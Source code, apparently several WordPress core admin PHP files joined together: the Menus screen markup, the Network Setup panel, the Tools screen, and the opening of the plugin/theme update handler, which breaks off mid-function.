	$menu_management .= '<p>' . __( 'You can assign theme locations to individual menus by <strong>selecting the desired settings</strong> at the bottom of the menu editor. To assign menus to all theme locations at once, <strong>visit the Manage Locations tab</strong> at the top of the screen.' ) . '</p>';

	get_current_screen()->add_help_tab(
		array(
			'id'      => 'menu-management',
			'title'   => __( 'Menu Management' ),
			'content' => $menu_management,
		)
	);

	$editing_menus  = '<p>' . __( 'Each navigation menu may contain a mix of links to pages, categories, custom URLs or other content types. Menu links are added by selecting items from the expanding boxes in the left-hand column below.' ) . '</p>';
	$editing_menus .= '<p>' . __( '<strong>Clicking the arrow to the right of any menu item</strong> in the editor will reveal a standard group of settings. Additional settings such as link target, CSS classes, link relationships, and link descriptions can be enabled and disabled via the Screen Options tab.' ) . '</p>';
	$editing_menus .= '<ul><li>' . __( 'Add one or several items at once by <strong>selecting the checkbox next to each item and clicking Add to Menu</strong>' ) . '</li>';
	$editing_menus .= '<li>' . __( 'To add a custom link, <strong>expand the Custom Links section, enter a URL and link text, and click Add to Menu</strong>' ) . '</li>';
	$editing_menus .= '<li>' . __( 'To reorganize menu items, <strong>drag and drop items with your mouse or use your keyboard</strong>. Drag or move a menu item a little to the right to make it a submenu' ) . '</li>';
	$editing_menus .= '<li>' . __( 'Delete a menu item by <strong>expanding it and clicking the Remove link</strong>' ) . '</li></ul>';

	get_current_screen()->add_help_tab(
		array(
			'id'      => 'editing-menus',
			'title'   => __( 'Editing Menus' ),
			'content' => $editing_menus,
		)
	);
else : // Locations tab.
	$locations_overview  = '<p>' . __( 'This screen is used for globally assigning menus to locations defined by your theme.' ) . '</p>';
	$locations_overview .= '<ul><li>' . __( 'To assign menus to one or more theme locations, <strong>select a menu from each location&#8217;s dropdown</strong>. When you are finished, <strong>click Save Changes</strong>' ) . '</li>';
	$locations_overview .= '<li>' . __( 'To edit a menu currently assigned to a theme location, <strong>click the adjacent &#8217;Edit&#8217; link</strong>' ) . '</li>';
	$locations_overview .= '<li>' . __( 'To add a new menu instead of assigning an existing one, <strong>click the &#8217;Use new menu&#8217; link</strong>. Your new menu will be automatically assigned to that theme location' ) . '</li></ul>';

	get_current_screen()->add_help_tab(
		array(
			'id'      => 'locations-overview',
			'title'   => __( 'Overview' ),
			'content' => $locations_overview,
		)
	);
endif;

get_current_screen()->set_help_sidebar(
	'<p><strong>' . __( 'For more information:' ) . '</strong></p>' .
	'<p>' . __( '<a href="https://wordpress.org/documentation/article/appearance-menus-screen/">Documentation on Menus</a>' ) . '</p>' .
	'<p>' . __( '<a href="https://wordpress.org/support/forums/">Support forums</a>' ) . '</p>'
);

// Get the admin header.
require_once ABSPATH . 'wp-admin/admin-header.php';
?>
<div class="wrap">
	<h1 class="wp-heading-inline"><?php esc_html_e( 'Menus' ); ?></h1>
	<?php
	if ( current_user_can( 'customize' ) ) :
		$focus = $locations_screen ? array( 'section' => 'menu_locations' ) : array( 'panel' => 'nav_menus' );
		printf(
			' <a class="page-title-action hide-if-no-customize" href="%1$s">%2$s</a>',
			esc_url(
				add_query_arg(
					array(
						array( 'autofocus' => $focus ),
						'return' => urlencode( remove_query_arg( wp_removable_query_args(), wp_unslash( $_SERVER['REQUEST_URI'] ) ) ),
					),
					admin_url( 'customize.php' )
				)
			),
			__( 'Manage with Live Preview' )
		);
	endif;

	$nav_tab_active_class = '';
	$nav_aria_current     = '';

	if ( ! isset( $_GET['action'] ) || isset( $_GET['action'] ) && 'locations' !== $_GET['action'] ) {
		$nav_tab_active_class = ' nav-tab-active';
		$nav_aria_current     = ' aria-current="page"';
	}
	?>

	<hr class="wp-header-end">

	<nav class="nav-tab-wrapper wp-clearfix" aria-label="<?php esc_attr_e( 'Secondary menu' ); ?>">
		<a href="<?php echo esc_url( admin_url( 'nav-menus.php' ) ); ?>" class="nav-tab<?php echo $nav_tab_active_class; ?>"<?php echo $nav_aria_current; ?>><?php esc_html_e( 'Edit Menus' ); ?></a>
		<?php
		if ( $num_locations && $menu_count ) {
			$active_tab_class = '';
			$aria_current     = '';

			if ( $locations_screen ) {
				$active_tab_class = ' nav-tab-active';
				$aria_current     = ' aria-current="page"';
			}
			?>
			<a href="<?php echo esc_url( add_query_arg( array( 'action' => 'locations' ), admin_url( 'nav-menus.php' ) ) ); ?>" class="nav-tab<?php echo $active_tab_class; ?>"<?php echo $aria_current; ?>><?php esc_html_e( 'Manage Locations' ); ?></a>
			<?php
		}
		?>
	</nav>
	<?php
	foreach ( $messages as $message ) :
		echo $message . "\n";
	endforeach;
	?>
	<?php
	if ( $locations_screen ) :
		if ( 1 === $num_locations ) {
			echo '<p>' . __( 'Your theme supports one menu. Select which menu you would like to use.' ) . '</p>';
		} else {
			echo '<p>' . sprintf(
				/* translators: %s: Number of menus. */
				_n(
					'Your theme supports %s menu. Select which menu appears in each location.',
					'Your theme supports %s menus. Select which menu appears in each location.',
					$num_locations
				),
				number_format_i18n( $num_locations )
			) . '</p>';
		}
		?>
	<div id="menu-locations-wrap">
		<form method="post" action="<?php echo esc_url( add_query_arg( array( 'action' => 'locations' ), admin_url( 'nav-menus.php' ) ) ); ?>">
			<table class="widefat fixed" id="menu-locations-table">
				<thead>
				<tr>
					<th scope="col" class="manage-column column-locations"><?php _e( 'Theme Location' ); ?></th>
					<th scope="col" class="manage-column column-menus"><?php _e( 'Assigned Menu' ); ?></th>
				</tr>
				</thead>
				<tbody class="menu-locations">
				<?php foreach ( $locations as $_location => $_name ) { ?>
					<tr class="menu-locations-row">
						<td class="menu-location-title"><label for="locations-<?php echo $_location; ?>"><?php echo $_name; ?></label></td>
						<td class="menu-location-menus">
							<select name="menu-locations[<?php echo $_location; ?>]" id="locations-<?php echo $_location; ?>">
								<option value="0"><?php printf( '&mdash; %s &mdash;', esc_html__( 'Select a Menu' ) ); ?></option>
								<?php
								foreach ( $nav_menus as $menu ) :
									$data_orig = '';
									$selected  = isset( $menu_locations[ $_location ] ) && $menu_locations[ $_location ] === $menu->term_id;

									if ( $selected ) {
										$data_orig = 'data-orig="true"';
									}
									?>
									<option <?php echo $data_orig; ?> <?php selected( $selected ); ?> value="<?php echo $menu->term_id; ?>">
										<?php echo wp_html_excerpt( $menu->name, 40, '&hellip;' ); ?>
									</option>
								<?php endforeach; ?>
							</select>
							<div class="locations-row-links">
								<?php if ( isset( $menu_locations[ $_location ] ) && 0 !== $menu_locations[ $_location ] ) : ?>
								<span class="locations-edit-menu-link">
									<a href="
									<?php
									echo esc_url(
										add_query_arg(
											array(
												'action' => 'edit',
												'menu'   => $menu_locations[ $_location ],
											),
											admin_url( 'nav-menus.php' )
										)
									);
									?>
									">
										<span aria-hidden="true"><?php _ex( 'Edit', 'menu' ); ?></span><span class="screen-reader-text">
											<?php
											/* translators: Hidden accessibility text. */
											_e( 'Edit selected menu' );
											?>
										</span>
									</a>
								</span>
								<?php endif; ?>
								<span class="locations-add-menu-link">
									<a href="
									<?php
									echo esc_url(
										add_query_arg(
											array(
												'action' => 'edit',
												'menu'   => 0,
												'use-location' => $_location,
											),
											admin_url( 'nav-menus.php' )
										)
									);
									?>
									">
										<?php _ex( 'Use new menu', 'menu' ); ?>
									</a>
								</span>
							</div><!-- .locations-row-links -->
						</td><!-- .menu-location-menus -->
					</tr><!-- .menu-locations-row -->
				<?php } // End foreach. ?>
				</tbody>
			</table>
			<p class="button-controls wp-clearfix"><?php submit_button( __( 'Save Changes' ), 'primary left', 'nav-menu-locations', false ); ?></p>
			<?php wp_nonce_field( 'save-menu-locations' ); ?>
			<input type="hidden" name="menu" id="nav-menu-meta-object-id" value="<?php echo esc_attr( $nav_menu_selected_id ); ?>" />
		</form>
	</div><!-- #menu-locations-wrap -->
		<?php
		/**
		 * Fires after the menu locations table is displayed.
		 *
		 * @since 3.6.0
		 */
		do_action( 'after_menu_locations_table' );
		?>
	<?php else : ?>
	<div class="manage-menus">
		<?php if ( $menu_count < 1 ) : ?>
		<span class="first-menu-message">
			<?php _e( 'Create your first menu below.' ); ?>
			<span class="screen-reader-text">
				<?php
				/* translators: Hidden accessibility text. */
				_e( 'Fill in the Menu Name and click the Create Menu button to create your first menu.' );
				?>
			</span>
		</span><!-- /first-menu-message -->
		<?php elseif ( $menu_count < 2 ) : ?>
		<span class="add-edit-menu-action">
			<?php
			printf(
				/* translators: %s: URL to create a new menu. */
				__( 'Edit your menu below, or <a href="%s">create a new menu</a>. Do not forget to save your changes!' ),
				esc_url(
					add_query_arg(
						array(
							'action' => 'edit',
							'menu'   => 0,
						),
						admin_url( 'nav-menus.php' )
					)
				)
			);
			?>
			<span class="screen-reader-text">
				<?php
				/* translators: Hidden accessibility text. */
				_e( 'Click the Save Menu button to save your changes.' );
				?>
			</span>
		</span><!-- /add-edit-menu-action -->
		<?php else : ?>
			<form method="get" action="<?php echo esc_url( admin_url( 'nav-menus.php' ) ); ?>">
			<input type="hidden" name="action" value="edit" />
			<label for="select-menu-to-edit" class="selected-menu"><?php _e( 'Select a menu to edit:' ); ?></label>
			<select name="menu" id="select-menu-to-edit">
				<?php if ( $add_new_screen ) : ?>
					<option value="0" selected="selected"><?php _e( '&mdash; Select &mdash;' ); ?></option>
				<?php endif; ?>
				<?php foreach ( (array) $nav_menus as $_nav_menu ) : ?>
					<option value="<?php echo esc_attr( $_nav_menu->term_id ); ?>" <?php selected( $_nav_menu->term_id, $nav_menu_selected_id ); ?>>
						<?php
						echo esc_html( $_nav_menu->truncated_name );

						if ( ! empty( $menu_locations ) && in_array( $_nav_menu->term_id, $menu_locations, true ) ) {
							$locations_assigned_to_this_menu = array();

							foreach ( array_keys( $menu_locations, $_nav_menu->term_id, true ) as $menu_location_key ) {
								if ( isset( $locations[ $menu_location_key ] ) ) {
									$locations_assigned_to_this_menu[] = $locations[ $menu_location_key ];
								}
							}

							/**
							 * Filters the number of locations listed per menu in the drop-down select.
							 *
							 * @since 3.6.0
							 *
							 * @param int $locations Number of menu locations to list. Default 3.
							 */
							$locations_listed_per_menu = absint( apply_filters( 'wp_nav_locations_listed_per_menu', 3 ) );

							$assigned_locations = array_slice( $locations_assigned_to_this_menu, 0, $locations_listed_per_menu );

							// Adds ellipses following the number of locations defined in $assigned_locations.
							if ( ! empty( $assigned_locations ) ) {
								printf(
									' (%1$s%2$s)',
									implode( ', ', $assigned_locations ),
									count( $locations_assigned_to_this_menu ) > count( $assigned_locations ) ? ' &hellip;' : ''
								);
							}
						}
						?>
					</option>
				<?php endforeach; ?>
			</select>
			<span class="submit-btn"><input type="submit" class="button" value="<?php esc_attr_e( 'Select' ); ?>"></span>
			<span class="add-new-menu-action">
				<?php
				printf(
					/* translators: %s: URL to create a new menu. */
					__( 'or <a href="%s">create a new menu</a>. Do not forget to save your changes!' ),
					esc_url(
						add_query_arg(
							array(
								'action' => 'edit',
								'menu'   => 0,
							),
							admin_url( 'nav-menus.php' )
						)
					)
				);
				?>
				<span class="screen-reader-text">
					<?php
					/* translators: Hidden accessibility text. */
					_e( 'Click the Save Menu button to save your changes.' );
					?>
				</span>
			</span><!-- /add-new-menu-action -->
		</form>
			<?php
		endif;

		$metabox_holder_disabled_class = '';

		if ( isset( $_GET['menu'] ) && 0 === (int) $_GET['menu'] ) {
			$metabox_holder_disabled_class = ' metabox-holder-disabled';
		}
		?>
	</div><!-- /manage-menus -->
	<div id="nav-menus-frame" class="wp-clearfix">
	<div id="menu-settings-column" class="metabox-holder<?php echo $metabox_holder_disabled_class; ?>">

		<div class="clear"></div>

		<form id="nav-menu-meta" class="nav-menu-meta" method="post" enctype="multipart/form-data">
			<input type="hidden" name="menu" id="nav-menu-meta-object-id" value="<?php echo esc_attr( $nav_menu_selected_id ); ?>" />
			<input type="hidden" name="action" value="add-menu-item" />
			<?php wp_nonce_field( 'add-menu_item', 'menu-settings-column-nonce' ); ?>
			<h2><?php _e( 'Add menu items' ); ?></h2>
			<?php do_accordion_sections( 'nav-menus', 'side', null ); ?>
		</form>

	</div><!-- /#menu-settings-column -->
	<div id="menu-management-liquid">
		<div id="menu-management">
			<form id="update-nav-menu" method="post" enctype="multipart/form-data">
				<h2><?php _e( 'Menu structure' ); ?></h2>
				<div class="menu-edit">
					<input type="hidden" name="nav-menu-data">
					<?php
					wp_nonce_field( 'closedpostboxes', 'closedpostboxesnonce', false );
					wp_nonce_field( 'meta-box-order', 'meta-box-order-nonce', false );
					wp_nonce_field( 'update-nav_menu', 'update-nav-menu-nonce' );

					$menu_name_aria_desc = $add_new_screen ? ' aria-describedby="menu-name-desc"' : '';

					if ( $one_theme_location_no_menus ) {
						$menu_name_val = 'value="' . esc_attr( 'Menu 1' ) . '"';
						?>
						<input type="hidden" name="zero-menu-state" value="true" />
						<?php
					} else {
						$menu_name_val = 'value="' . esc_attr( $nav_menu_selected_title ) . '"';
					}
					?>
					<input type="hidden" name="action" value="update" />
					<input type="hidden" name="menu" id="menu" value="<?php echo esc_attr( $nav_menu_selected_id ); ?>" />
					<div id="nav-menu-header">
						<div class="major-publishing-actions wp-clearfix">
							<label class="menu-name-label" for="menu-name"><?php _e( 'Menu Name' ); ?></label>
							<input name="menu-name" id="menu-name" type="text" class="menu-name regular-text menu-item-textbox form-required" required="required" <?php echo $menu_name_val . $menu_name_aria_desc; ?> />
							<div class="publishing-action">
								<?php submit_button( empty( $nav_menu_selected_id ) ? __( 'Create Menu' ) : __( 'Save Menu' ), 'primary large menu-save', 'save_menu', false, array( 'id' => 'save_menu_header' ) ); ?>
							</div><!-- END .publishing-action -->
						</div><!-- END .major-publishing-actions -->
					</div><!-- END .nav-menu-header -->
					<div id="post-body">
						<div id="post-body-content" class="wp-clearfix">
							<?php if ( ! $add_new_screen ) : ?>
								<?php
								$hide_style = '';

								if ( isset( $menu_items ) && 0 === count( $menu_items ) ) {
									$hide_style = 'style="display: none;"';
								}

								if ( $one_theme_location_no_menus ) {
									$starter_copy = __( 'Edit your default menu by adding or removing items. Drag the items into the order you prefer. Click Create Menu to save your changes.' );
								} else {
									$starter_copy = __( 'Drag the items into the order you prefer. Click the arrow on the right of the item to reveal additional configuration options.' );
								}
								?>
								<div class="drag-instructions post-body-plain" <?php echo $hide_style; ?>>
									<p><?php echo $starter_copy; ?></p>
								</div>

								<?php if ( ! $add_new_screen ) : ?>
									<div id="nav-menu-bulk-actions-top" class="bulk-actions" <?php echo $hide_style; ?>>
										<label class="bulk-select-button" for="bulk-select-switcher-top">
											<input type="checkbox" id="bulk-select-switcher-top" name="bulk-select-switcher-top" class="bulk-select-switcher">
											<span class="bulk-select-button-label"><?php _e( 'Bulk Select' ); ?></span>
										</label>
									</div>
								<?php endif; ?>

								<?php
								if ( isset( $edit_markup ) && ! is_wp_error( $edit_markup ) ) {
									echo $edit_markup;
								} else {
									?>
									<ul class="menu" id="menu-to-edit"></ul>
								<?php } ?>

							<?php endif; ?>

							<?php if ( $add_new_screen ) : ?>
								<p class="post-body-plain" id="menu-name-desc"><?php _e( 'Give your menu a name, then click Create Menu.' ); ?></p>
								<?php if ( isset( $_GET['use-location'] ) ) : ?>
									<input type="hidden" name="use-location" value="<?php echo esc_attr( $_GET['use-location'] ); ?>" />
								<?php endif; ?>

								<?php
							endif;

							$no_menus_style = '';

							if ( $one_theme_location_no_menus ) {
								$no_menus_style = 'style="display: none;"';
							}
							?>

							<?php if ( ! $add_new_screen ) : ?>
								<div id="nav-menu-bulk-actions-bottom" class="bulk-actions" <?php echo $hide_style; ?>>
									<label class="bulk-select-button" for="bulk-select-switcher-bottom">
										<input type="checkbox" id="bulk-select-switcher-bottom" name="bulk-select-switcher-top" class="bulk-select-switcher">
										<span class="bulk-select-button-label"><?php _e( 'Bulk Select' ); ?></span>
									</label>
									<input type="button" class="deletion menu-items-delete disabled" value="<?php esc_attr_e( 'Remove Selected Items' ); ?>">
									<div id="pending-menu-items-to-delete">
										<p><?php _e( 'List of menu items selected for deletion:' ); ?></p>
										<ul></ul>
									</div>
								</div>
							<?php endif; ?>

							<div class="menu-settings" <?php echo $no_menus_style; ?>>
								<h3><?php _e( 'Menu Settings' ); ?></h3>
								<?php
								if ( ! isset( $auto_add ) ) {
									$auto_add = get_option( 'nav_menu_options' );

									if ( ! isset( $auto_add['auto_add'] ) ) {
										$auto_add = false;
									} elseif ( false !== array_search( $nav_menu_selected_id, $auto_add['auto_add'], true ) ) {
										$auto_add = true;
									} else {
										$auto_add = false;
									}
								}
								?>

								<fieldset class="menu-settings-group auto-add-pages">
									<legend class="menu-settings-group-name howto"><?php _e( 'Auto add pages' ); ?></legend>
									<div class="menu-settings-input checkbox-input">
										<input type="checkbox"<?php checked( $auto_add ); ?> name="auto-add-pages" id="auto-add-pages" value="1" /> <label for="auto-add-pages"><?php printf( __( 'Automatically add new top-level pages to this menu' ), esc_url( admin_url( 'edit.php?post_type=page' ) ) ); ?></label>
									</div>
								</fieldset>

								<?php if ( current_theme_supports( 'menus' ) ) : ?>

									<fieldset class="menu-settings-group menu-theme-locations">
										<legend class="menu-settings-group-name howto"><?php _e( 'Display location' ); ?></legend>
										<?php
										foreach ( $locations as $location => $description ) :
											$checked = false;

											if ( isset( $menu_locations[ $location ] )
													&& 0 !== $nav_menu_selected_id
													&& $menu_locations[ $location ] === $nav_menu_selected_id
											) {
													$checked = true;
											}
											?>
											<div class="menu-settings-input checkbox-input">
												<input type="checkbox"<?php checked( $checked ); ?> name="menu-locations[<?php echo esc_attr( $location ); ?>]" id="locations-<?php echo esc_attr( $location ); ?>" value="<?php echo esc_attr( $nav_menu_selected_id ); ?>" />
												<label for="locations-<?php echo esc_attr( $location ); ?>"><?php echo $description; ?></label>
												<?php if ( ! empty( $menu_locations[ $location ] ) && $menu_locations[ $location ] !== $nav_menu_selected_id ) : ?>
													<span class="theme-location-set">
													<?php
														printf(
															/* translators: %s: Menu name. */
															_x( '(Currently set to: %s)', 'menu location' ),
															wp_get_nav_menu_object( $menu_locations[ $location ] )->name
														);
													?>
													</span>
												<?php endif; ?>
											</div>
										<?php endforeach; ?>
									</fieldset>

								<?php endif; ?>

							</div>
						</div><!-- /#post-body-content -->
					</div><!-- /#post-body -->
					<div id="nav-menu-footer">
						<div class="major-publishing-actions">
							<div class="publishing-action">
								<?php submit_button( empty( $nav_menu_selected_id ) ? __( 'Create Menu' ) : __( 'Save Menu' ), 'primary large menu-save', 'save_menu', false, array( 'id' => 'save_menu_footer' ) ); ?>
							</div><!-- END .publishing-action -->
							<?php if ( $menu_count > 0 ) : ?>

								<?php if ( $add_new_screen ) : ?>
								<span class="cancel-action">
									<a class="submitcancel cancellation menu-cancel" href="<?php echo esc_url( admin_url( 'nav-menus.php' ) ); ?>"><?php _e( 'Cancel' ); ?></a>
								</span><!-- END .cancel-action -->
								<?php else : ?>
								<span class="delete-action">
									<a class="submitdelete deletion menu-delete" href="
									<?php
									echo esc_url(
										wp_nonce_url(
											add_query_arg(
												array(
													'action' => 'delete',
													'menu' => $nav_menu_selected_id,
												),
												admin_url( 'nav-menus.php' )
											),
											'delete-nav_menu-' . $nav_menu_selected_id
										)
									);
									?>
									"><?php _e( 'Delete Menu' ); ?></a>
								</span><!-- END .delete-action -->
								<?php endif; ?>

							<?php endif; ?>
						</div><!-- END .major-publishing-actions -->
					</div><!-- /#nav-menu-footer -->
				</div><!-- /.menu-edit -->
			</form><!-- /#update-nav-menu -->
		</div><!-- /#menu-management -->
	</div><!-- /#menu-management-liquid -->
	</div><!-- /#nav-menus-frame -->
	<?php endif; ?>
</div><!-- /.wrap-->
<?php require_once ABSPATH . 'wp-admin/admin-footer.php'; ?>
<?php
/**
 * Network installation administration panel.
 *
 * A multi-step process allowing the user to enable a network of WordPress sites.
 *
 * @since 3.0.0
 *
 * @package WordPress
 * @subpackage Administration
 */

define( 'WP_INSTALLING_NETWORK', true );

/** WordPress Administration Bootstrap */
require_once __DIR__ . '/admin.php';

if ( ! current_user_can( 'setup_network' ) ) {
	wp_die( __( 'Sorry, you are not allowed to manage options for this site.' ) );
}

if ( is_multisite() ) {
	if ( ! is_network_admin() ) {
		wp_redirect( network_admin_url( 'setup.php' ) );
		exit;
	}

	if ( ! defined( 'MULTISITE' ) ) {
		wp_die( __( 'The Network creation panel is not for WordPress MU networks.' ) );
	}
}

require_once __DIR__ . '/includes/network.php';

// We need to create references to ms global tables to enable Network.
foreach ( $wpdb->tables( 'ms_global' ) as $table => $prefixed_table ) {
	$wpdb->$table = $prefixed_table;
}

if ( ! network_domain_check() && ( ! defined( 'WP_ALLOW_MULTISITE' ) || ! WP_ALLOW_MULTISITE ) ) {
	wp_die(
		printf(
			/* translators: 1: WP_ALLOW_MULTISITE, 2: wp-config.php */
			__( 'You must define the %1$s constant as true in your %2$s file to allow creation of a Network.' ),
			'<code>WP_ALLOW_MULTISITE</code>',
			'<code>wp-config.php</code>'
		)
	);
}

if ( is_network_admin() ) {
	// Used in the HTML title tag.
	$title       = __( 'Network Setup' );
	$parent_file = 'settings.php';
} else {
	// Used in the HTML title tag.
	$title       = __( 'Create a Network of WordPress Sites' );
	$parent_file = 'tools.php';
}

$network_help = '<p>' . __( 'This screen allows you to configure a network as having subdomains (<code>site1.example.com</code>) or subdirectories (<code>example.com/site1</code>). Subdomains require wildcard subdomains to be enabled in Apache and DNS records, if your host allows it.' ) . '</p>' .
	'<p>' . __( 'Choose subdomains or subdirectories; this can only be switched afterwards by reconfiguring your installation. Fill out the network details, and click Install. If this does not work, you may have to add a wildcard DNS record (for subdomains) or change to another setting in Permalinks (for subdirectories).' ) . '</p>' .
	'<p>' . __( 'The next screen for Network Setup will give you individually-generated lines of code to add to your wp-config.php and .htaccess files. Make sure the settings of your FTP client make files starting with a dot visible, so that you can find .htaccess; you may have to create this file if it really is not there. Make backup copies of those two files.' ) . '</p>' .
	'<p>' . __( 'Add the designated lines of code to wp-config.php (just before <code>/*...stop editing...*/</code>) and <code>.htaccess</code> (replacing the existing WordPress rules).' ) . '</p>' .
	'<p>' . __( 'Once you add this code and refresh your browser, multisite should be enabled. This screen, now in the Network Admin navigation menu, will keep an archive of the added code. You can toggle between Network Admin and Site Admin by clicking on the Network Admin or an individual site name under the My Sites dropdown in the Toolbar.' ) . '</p>' .
	'<p>' . __( 'The choice of subdirectory sites is disabled if this setup is more than a month old because of permalink problems with &#8220;/blog/&#8221; from the main site. This disabling will be addressed in a future version.' ) . '</p>' .
	'<p><strong>' . __( 'For more information:' ) . '</strong></p>' .
	'<p>' . __( '<a href="https://wordpress.org/documentation/article/create-a-network/">Documentation on Creating a Network</a>' ) . '</p>' .
	'<p>' . __( '<a href="https://wordpress.org/documentation/article/tools-network-screen/">Documentation on the Network Screen</a>' ) . '</p>';

get_current_screen()->add_help_tab(
	array(
		'id'      => 'network',
		'title'   => __( 'Network' ),
		'content' => $network_help,
	)
);

get_current_screen()->set_help_sidebar(
	'<p><strong>' . __( 'For more information:' ) . '</strong></p>' .
	'<p>' . __( '<a href="https://wordpress.org/documentation/article/create-a-network/">Documentation on Creating a Network</a>' ) . '</p>' .
	'<p>' . __( '<a href="https://wordpress.org/documentation/article/tools-network-screen/">Documentation on the Network Screen</a>' ) . '</p>' .
	'<p>' . __( '<a href="https://wordpress.org/support/forums/">Support forums</a>' ) . '</p>'
);

require_once ABSPATH . 'wp-admin/admin-header.php';
?>
<div class="wrap">
<h1><?php echo esc_html( $title ); ?></h1>

<?php
if ( $_POST ) {

	check_admin_referer( 'install-network-1' );

	require_once ABSPATH . 'wp-admin/includes/upgrade.php';
	// Create network tables.
	install_network();
	$base              = parse_url( trailingslashit( get_option( 'home' ) ), PHP_URL_PATH );
	$subdomain_install = allow_subdomain_install() ? ! empty( $_POST['subdomain_install'] ) : false;
	if ( ! network_domain_check() ) {
		$result = populate_network( 1, get_clean_basedomain(), sanitize_email( $_POST['email'] ), wp_unslash( $_POST['sitename'] ), $base, $subdomain_install );
		if ( is_wp_error( $result ) ) {
			if ( 1 === count( $result->get_error_codes() ) && 'no_wildcard_dns' === $result->get_error_code() ) {
				network_step2( $result );
			} else {
				network_step1( $result );
			}
		} else {
			network_step2();
		}
	} else {
		network_step2();
	}
} elseif ( is_multisite() || network_domain_check() ) {
	network_step2();
} else {
	network_step1();
}
?>
</div>

<?php require_once ABSPATH . 'wp-admin/admin-footer.php'; ?>
<?php
/**
 * Tools Administration Screen.
 *
 * @package WordPress
 * @subpackage Administration
 */

if ( isset( $_GET['page'] ) && ! empty( $_POST ) ) {
	// Ensure POST-ing to `tools.php?page=export_personal_data` and `tools.php?page=remove_personal_data`
	// continues to work after creating the new files for exporting and erasing of personal data.
	if ( 'export_personal_data' === $_GET['page'] ) {
		require_once ABSPATH . 'wp-admin/export-personal-data.php';
		return;
	} elseif ( 'remove_personal_data' === $_GET['page'] ) {
		require_once ABSPATH . 'wp-admin/erase-personal-data.php';
		return;
	}
}

// The privacy policy guide used to be outputted from here. Since WP 5.3 it is in wp-admin/privacy-policy-guide.php.
if ( isset( $_GET['wp-privacy-policy-guide'] ) ) {
	require_once dirname( __DIR__ ) . '/wp-load.php';
	wp_redirect( admin_url( 'options-privacy.php?tab=policyguide' ), 301 );
	exit;
} elseif ( isset( $_GET['page'] ) ) {
	// These were also moved to files in WP 5.3.
	if ( 'export_personal_data' === $_GET['page'] ) {
		require_once dirname( __DIR__ ) . '/wp-load.php';
		wp_redirect( admin_url( 'export-personal-data.php' ), 301 );
		exit;
	} elseif ( 'remove_personal_data' === $_GET['page'] ) {
		require_once dirname( __DIR__ ) . '/wp-load.php';
		wp_redirect( admin_url( 'erase-personal-data.php' ), 301 );
		exit;
	}
}

/** WordPress Administration Bootstrap */
require_once __DIR__ . '/admin.php';

// Used in the HTML title tag.
$title = __( 'Tools' );

get_current_screen()->add_help_tab(
	array(
		'id'      => 'converter',
		'title'   => __( 'Categories and Tags Converter' ),
		'content' => '<p>' . __( 'Categories have hierarchy, meaning that you can nest sub-categories. Tags do not have hierarchy and cannot be nested. Sometimes people start out using one on their posts, then later realize that the other would work better for their content.' ) . '</p>' .
		'<p>' . __( 'The Categories and Tags Converter link on this screen will take you to the Import screen, where that Converter is one of the plugins you can install. Once that plugin is installed, the Activate Plugin &amp; Run Importer link will take you to a screen where you can choose to convert tags into categories or vice versa.' ) . '</p>',
	)
);

get_current_screen()->set_help_sidebar(
	'<p><strong>' . __( 'For more information:' ) . '</strong></p>' .
	'<p>' . __( '<a href="https://wordpress.org/documentation/article/tools-screen/">Documentation on Tools</a>' ) . '</p>' .
	'<p>' . __( '<a href="https://wordpress.org/support/forums/">Support forums</a>' ) . '</p>'
);

require_once ABSPATH . 'wp-admin/admin-header.php';

?>
<div class="wrap">
<h1><?php echo esc_html( $title ); ?></h1>
<?php

if ( current_user_can( 'import' ) ) :
	$cats = get_taxonomy( 'category' );
	$tags = get_taxonomy( 'post_tag' );
	if ( current_user_can( $cats->cap->manage_terms ) || current_user_can( $tags->cap->manage_terms ) ) :
		?>
		<div class="card">
			<h2 class="title"><?php _e( 'Categories and Tags Converter' ); ?></h2>
			<p>
			<?php
				printf(
					/* translators: %s: URL to Import screen. */
					__( 'If you want to convert your categories to tags (or vice versa), use the <a href="%s">Categories and Tags Converter</a> available from the Import screen.' ),
					'import.php'
				);
			?>
			</p>
		</div>
		<?php
	endif;
endif;

/**
 * Fires at the end of the Tools Administration screen.
 *
 * @since 2.8.0
 */
do_action( 'tool_box' );

?>
</div>
<?php

require_once ABSPATH . 'wp-admin/admin-footer.php';
<?php
/**
 * Update/Install Plugin/Theme administration panel.
 *
 * @package WordPress
 * @subpackage Administration
 */

if ( ! defined( 'IFRAME_REQUEST' )
	&& isset( $_GET['action'] ) && in_array( $_GET['action'], array( 'update-selected', 'activate-plugin', 'update-selected-themes' ), true )
) {
	define( 'IFRAME_REQUEST', true );
}

/** WordPress Administration Bootstrap */
require_once __DIR__ . '/admin.php';

require_once ABSPATH . 'wp-admin/includes/class-wp-upgrader.php';

wp_enqueue_script( 'wp-a11y' );

if ( isset( $_GET['action'] ) ) {
	$plugin = isset( $_REQUEST['plugin'] ) ? trim( $_REQUEST['plugin'] ) : '';
	$theme  = isset( $_REQUEST['theme'] ) ? urldecode( $_REQUEST['theme'] ) : '';
	$action = isset( $_REQUEST['action'] ) ? $_REQUEST['action'] : '';

	if ( 'update-selected' === $action ) {
		if ( ! current_user_can( 'update_plugins' ) ) {
			wp_die( __( 'Sorry, you are not allowed to update plugins for this site.' ) );
		}

		check_admin_referer( 'bulk-update-plugins' );

		if ( isset( $_GET['plugins'] ) ) {
			$plugins = explode( ',', stripslashes( $_GET['plugins'] ) );
		} elseif ( isset( $_POST['checked'] ) ) {
			$plugins = (array) $_POST['checked'];
		} else {
			$plugins = array();
		}

		$plugins = array_map( 'urldecode', $plugins );

		$url   = 'update.php?action=update-selected&amp;plugins=' . urlencode( implode( ',', $plugins ) );
		$nonce = 'bulk-update-plugins';

		wp_enqueue_script( 'updates' );
		iframe_header();

		$upgrader = new Plugin_Upgrader( new Bulk_Plugin_Upgrader_Skin( compact( 'nonce', 'url' ) ) );
		$upgrader->bulk_upgrade( $plugins );

		iframe_footer();

	} elseif ( 'upgrade-plugin' === $action ) {
		if ( ! current_user_can( 'update_plugins' ) ) {
			wp_die( __( 'Sorry, you are not allowed to update plugins for this site.' ) );
		}

		check_admin_referer( 'upgrade-plugin_' . $plugin );

		// Used in the HTML title tag.
		$title        = __( 'Update Plugin' );
		$parent_file  = 'plugins.php';
		$submenu_file = 'plugins.php';

		wp_enqueue_script( 'updates' );
		require_once ABSPATH . 'wp-admin/admin-header.php';

		$nonce = 'upgrade-plugin_' . $plugin;
		$url   = 'update.php?action=upgrade-plugin&plugin=' . urlencode( $plugin );

		$upgrader = new Plugin_Upgrader( new Plugin_Upgrader_Skin( compact( 'title', 'nonce', 'url', 'plugin' ) ) );
		$upgrader->upgrade( $plugin );

